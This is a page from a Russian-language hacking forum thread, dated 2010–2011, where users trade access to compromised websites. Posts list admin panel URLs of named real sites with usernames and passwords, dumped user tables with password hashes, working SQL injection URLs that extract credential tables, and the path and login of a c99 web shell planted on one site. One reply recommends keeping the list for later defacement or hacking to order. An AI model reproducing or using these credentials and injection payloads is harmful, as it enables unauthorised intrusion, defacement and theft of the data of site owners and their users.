Админки, шеллы

Тема в разделе "Поиск уязвимостей", создана пользователем ~!Dok_tOR!~, 28 июл 2008.

Страница 3 из 4
  1. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 100 or greater.**
     
    21 апр 2010
  2. Hookman
    Hookman Guest
    UnHidden Content:
    Код:
    http://www.eglistening.com/admin
admin:zhangyuanyuan
     
    21 май 2010
    1 человеку нравится это.
  3. [ArM]Master1
    [ArM]Master1 Новичок
    Симпатии:
    0
    Чёт всё что тут написано перепробовал везде НЕ ВЕРНЫЙ ЛОГИН И ПАРОЛЬ
     
    1 июл 2010
  4. rijy
    rijy Новичок
    Симпатии:
    33
    [ArM]Master1, а ты думаешь ты один в этой теме пасешься?
    //ога, я даже бота настроил!11 как только тут новый пост он чекает и меняет пасс :D Я монополист, и это печально :(
     
    Последнее редактирование модератором: 1 июл 2010
    1 июл 2010
    1 человеку нравится это.
  5. Hookman
    Hookman Guest
    UnHidden Content:
    Код:
    http://inpost.dp.ua/admin
inpost:rfnz123
     
    23 окт 2010
  6. Mei
    Mei Guest
    UnHidden Content:

    Код:
    http://www.world-pictures.nl/admin/
maya:loukoum
     
    28 окт 2010
    1 человеку нравится это.
  7. Mei
    Mei Guest
    Если кому интересно (интересного мало):

    UnHidden Content:

    vedo.ru ТИЦ: 120 PR: 3

    vedo.ru/admin/ закрыто htaccess, пасс из базы не сбручен.

    [+] юзеры

    admin:061ed190e137ee416c25b4e8658fd3a3 // не сбручен
    vedo:4bf8b010c660cf1f1e553687cab9ada9
    horo:f02402f8348ec35c747983170a3d35d7
    guest:b80574be7ac435bff42dd35ea70c9fb6
    auto:7228c20ffda07f7d88c426ddcee6f5cc
    guzi-larisa:981db9ada4cfa51ae8717a7e473c897f
    andry:ead8042e5d1c25d04b06273d23c97256
    Жанна:4982cfb176f44cefb945bff09729ad25
    professor:lebedinsky // не подошел
    art:877a1817b4daf3e557ede88948a8e283
    Алёна:nhfvgfvgfv
    Даша:340c078483455ba11bbc26f11a2f565b
    Александр Лапшин:e3fa0f63965ffa1de25010d0c15261e8
    Буба:6d80938a489d9902626f101a919c88a1
    news:e944d435c3c9f290be7179f6a49f511

    [свернуть]


    [+] Список таблиц
    http://www.vedo.ru/guest/guest.php?id=8+and+0+union+select+1,2,3,table_name,5,6,7,8+from+information_schema.tables--
    [свернуть]


    [+] "Позабавило"
    http://www.vedo.ru/guest/guest.php?id=8+and+0+union+select+1,2,3,concat(username,0x3a,latin1,0x3a,password,0x3a,firstname,0x3a,lastname,0x3a,country,0x3a,website,0x3a,email,0x3a,showemail,0x3a,perms,0x3a,rooms,0x3a,reg_time,0x3a,ip,0x3a,gender),5,6,7,8+from+c_reg_users--
    [свернуть]

     
    2 ноя 2010
    1 человеку нравится это.
  8. Mei
    Mei Guest
    UnHidden Content:

    Код:
    http://www.manuskript-magazin.com/adm/

adm:7adm+
     
    6 ноя 2010
    2 пользователям это понравилось.
  9. Mei
    Mei Guest
    UnHidden Content:

    Код:
    http://uspk1.ru/login.php

admin:050202
     
    15 ноя 2010
    3 пользователям это понравилось.
  10. Mei
    Mei Guest
    PR3
    UnHidden Content:

    Код:
    http://www.phuket-tropical-realestate.com/administrator/

admin:i-marketing
    Уязвимость:
    Код:
    http://www.phuket-tropical-realestate.com/more_detail.php?id=113118+and+0+union+select+1,2,3,4,concat_ws(0x3a,member_id,member_name,member_username,member_password,permission),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59+from+member--
     
    28 ноя 2010
    1 человеку нравится это.
  11. Zik
    Zik Guest
    pomaho,
    а для того что бы была база, если даже пассы меняют, то дыры мало кто заделывает, если нужен будет деф, или этот сайт у кого нить закажут для хака, уже пол дела будет сделано)
    хотя бы для этого
    + ещё есть такой вариант что на этих сайтах в определённые моменты можно найти много чего интересного)) для личных целей, но ты вроде как новечёк здесь, так что дерзай всё в переди, и сможешь посмотреть и админки и логины и пассы)
     
    15 дек 2010
  12. Mei
    Mei Guest
    Спасибо ~Хулиган~ за любезно предоставленный логин-пасс) Оставалось только найти модераторку

    UnHidden Content:

    Модераторка
    _http://4uin.ru/modcp_65jcgfds575775dfjkthkjgse/
    Deni$KA:ewqewq123
    Аналогично на форуме. Права СМ'а, не более того.

    Админка здесь:
    _http://4uin.ru/admincp_dbdsbjfbgdsjfgbs55545djgbfs/
    Авторизация через htpasswd, как видимо, значит может поддатся бруту.
     
    24 дек 2010
  13. Хулиган
    Хулиган Команда форума Продвинутый
    Симпатии:
    152
    мыльники админов и СМ. сего хек форума)
    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 200 or greater.**
     
    24 дек 2010
    2 пользователям это понравилось.
  14. Mei
    Mei Guest
    PR2 c99madnet shell. Права записи на всем сайте и служебных директориях.

    До моего появления был произведен дефейс какими-то арабами, админ, походу, давно не появлялся.

    UnHidden Content:

    salespeople.dk/bbclone/language/zh-xn.php

    Login:XNT
    Pass:xakername

    Уязвимость:
    salespeople.dk/normal.php?id=64+and+0+union+select+1,version(),3,4,5,6,concat_ws(0x3a,username,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+auth_users+limit+1,1--

    Заливка любого типа файлов любым юзером.
    Пасс админа захеширован, остальные открыты.
     
    26 дек 2010
    2 пользователям это понравилось.
  15. Mei
    Mei Guest
    PR: 3 ТИЦ: 10
    UnHidden Content:

    rp.delo.ua/admin/login.php

    ID - level - login;pass
    1 2 a_butilov;butilov4ever
    2 2 a_butilov;butilov4ever
    3 2 paloma;paloma4ever
    4 2 Tatarenko E.;Tatarenko4ever
    5 10 developer;developer4rp
    6 10 hackil;hackil4ever;hackil
    7 10 vko;vko4ever;Ekonomika
    8 10 zagorulko;delo4delo
    9 0 a_shkneeva;shkneeva4ever

    скуль:
    http://www.rp.delo.ua/tovar.php?id=...4,25,26,27,28,29,30,31,32,33,34+from+admins--

     
    3 апр 2011
    2 пользователям это понравилось.
  16. Mei
    Mei Guest
    UnHidden Content:

    _http://www.phpwebscript.net/admin/
    admin;webtotal

    Уязвимость:
    _http://www.phpwebscript.net/dynamicphotogallery/demo/album.php?slideshow=start&albumID=-13+union+all+select+1,2,3,4,concat_ws(0x3b,username,password),6,7+from+v2203_admins--
     
    30 апр 2011
    3 пользователям это понравилось.
  17. sourcec0de
    sourcec0de Новичок
    Симпатии:
    1
    usa датинг
    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 50 or greater.**
     
    11 июн 2011
    1 человеку нравится это.
  18. TDI
    TDI Новичок
    Симпатии:
    32
    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 100 or greater.**
     
    Последнее редактирование: 2 ноя 2011
    27 окт 2011
    1 человеку нравится это.
  19. TDI
    TDI Новичок
    Симпатии:
    32
    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 50 or greater.**
     
    22 ноя 2011
  20. TDI
    TDI Новичок
    Симпатии:
    32
    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 15 or greater.**
     
    5 дек 2011
    2 пользователям это понравилось.
Страница 3 из 4
Загрузка...